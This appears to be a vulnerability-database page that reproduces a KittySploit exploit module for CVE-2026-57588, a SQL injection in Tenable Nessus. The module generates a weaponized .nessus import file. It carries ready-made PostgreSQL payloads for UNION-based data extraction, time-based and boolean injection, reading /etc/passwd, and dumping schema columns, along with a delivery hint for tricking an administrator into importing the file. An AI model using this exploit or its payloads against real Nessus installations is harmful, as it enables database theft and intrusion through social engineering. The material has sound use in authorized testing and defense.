Tenable Nessus <= 10.12.0 malicious .nessus SQLi (CVE-2026-57588)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2026-57588 | 25 Jun 202613:47 | – | attackerkb | |
| The vulnerability of the XML analysis mechanism in security systems and the Nessus vulnerability assessment tool allows attackers to execute arbitrary SQL queries. | 22 Jul 202600:00 | – | bdu_fstec | |
| Exploit for SQL Injection in Tenable Nessus | 21 Jul 202618:13 | – | githubexploit | |
| CVE-2026-57588 | 26 Jun 202614:40 | – | circl | |
| CVE-2026-57588 | 25 Jun 202613:47 | – | cve | |
| CVE-2026-57588 SQL Injection in Nessus via Malicious Scan Result File Import | 25 Jun 202613:47 | – | cvelist | |
| Tenable Nessus 10.12.1 - SQL Injection | 7 Jul 202600:00 | – | exploitdb | |
| EUVD-2026-39409 | 25 Jun 202613:47 | – | euvd | |
| CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC | 15 Oct 202615:17 | – | kitploit | |
| Tenable Nessus < 10.12.1 Multiple Vulnerabilities (TNS-2026-17) | 26 Jun 202600:00 | – | nessus |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pathlib import Path
from typing import List, Sequence, Tuple
from kittysploit import *
from lib.fileformat.mixins import FileformatExploitMixin
from lib.fileformat.nessus import (
NessusClientData,
NessusHostTag,
NessusReportHost,
NessusReportItem,
write_nessus_client_data,
)
TagPair = Tuple[str, str]
_CVE_HOST_TAGS: Sequence[TagPair] = (
("hostname", "evil-host' UNION SELECT NULL, current_database(), version(), user() -- "),
("os", "Linux' AND (SELECT pg_sleep(5))=0 -- "),
("ip", "192.168.1.1' OR '1'='1"),
("fqdn", "test' ; SELECT pg_read_file('/etc/passwd') -- "),
)
_CVE_PLUGIN_OUTPUT = """Normal output
' UNION ALL SELECT
'=== DATA EXFIL START ===',
table_name,
column_name,
'=== DATA EXFIL END ==='
FROM information_schema.columns
WHERE table_schema = current_schema() -- """
def _host_tags_for_mode(mode: str) -> Sequence[TagPair]:
mode = (mode or "full").strip().lower()
if mode == "union":
return (_CVE_HOST_TAGS[0],)
if mode == "time":
return (_CVE_HOST_TAGS[1],)
if mode == "boolean":
return (_CVE_HOST_TAGS[2],)
if mode == "file_read":
return (_CVE_HOST_TAGS[3],)
return _CVE_HOST_TAGS
def _build_cve_2026_57588_data(
*,
report_name: str,
host_name: str,
mode: str,
) -> NessusClientData:
tags = [NessusHostTag(name, value) for name, value in _host_tags_for_mode(mode)]
item = NessusReportItem(
plugin_id="999999",
plugin_name="CVE-2026-57588 PoC",
description="Proof of Concept for SQL Injection",
plugin_output=_CVE_PLUGIN_OUTPUT,
)
return NessusClientData(
report_name=report_name,
hosts=[NessusReportHost(name=host_name, tags=tags, items=[item])],
)
class Module(Auxiliary, FileformatExploitMixin):
__info__ = {
"name": "Tenable Nessus <= 10.12.0 malicious .nessus SQLi (CVE-2026-57588)",
"description": (
"Generate a weaponized Nessus scan result (.nessus XML) that triggers SQL injection "
"when imported by a privileged Nessus administrator on versions prior to 10.12.1. "
"Payloads target PostgreSQL (Nessus default backend): UNION metadata exfiltration, "
"time-based blind (pg_sleep), boolean, file read, and information_schema column dump "
"in plugin_output. No shell — file delivery for manual import and backend data "
"exfiltration only. Requires social engineering. Authorized testing only."
),
"author": ["Mohammed Idrees Banyamer", "KittySploit Team"],
"cve": ["CVE-2026-57588"],
"references": [
"https://www.tenable.com",
"https://github.com/mbanyamer",
"https://banyamersecurity.com/blog/",
],
"tags": [
"nessus",
"tenable",
"sqli",
"fileformat",
"postgresql",
"import",
"cve-2026-57588",
"social-engineering",
"authorized-only",
],
}
MODULE_TITLE = "Nessus malicious .nessus SQLi (CVE-2026-57588)"
OUTPUT_BASENAME = "cve-2026-57588-poc.nessus"
report_name = OptString(
"PoC - CVE-2026-57588",
"Report name embedded in the generated .nessus file",
required=False,
)
host_name = OptString(
"poc-target.example.com",
"ReportHost name shown in the malicious import file",
required=False,
)
sqli_mode = OptChoice(
"full",
"SQLi payload set: full PoC (all tags) or a single technique",
required=False,
choices=["full", "union", "time", "boolean", "file_read"],
)
def _generate(self, output_path: Path) -> List[Path]:
data = _build_cve_2026_57588_data(
report_name=str(self.report_name or "PoC - CVE-2026-57588"),
host_name=str(self.host_name or "poc-target.example.com"),
mode=str(self.sqli_mode or "full"),
)
write_nessus_client_data(output_path, data)
return [output_path.resolve()]
def run(self):
return self.run_fileformat(
self._generate,
delivery_hint=(
"Deliver the generated .nessus file to a Nessus administrator and have them "
"import it via the Nessus web interface (Scan Results → Import). "
"Observe backend SQL effects in Nessus logs or database query output."
),
)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.13.3
CVSS 44.6
EPSS0.0033
SSVC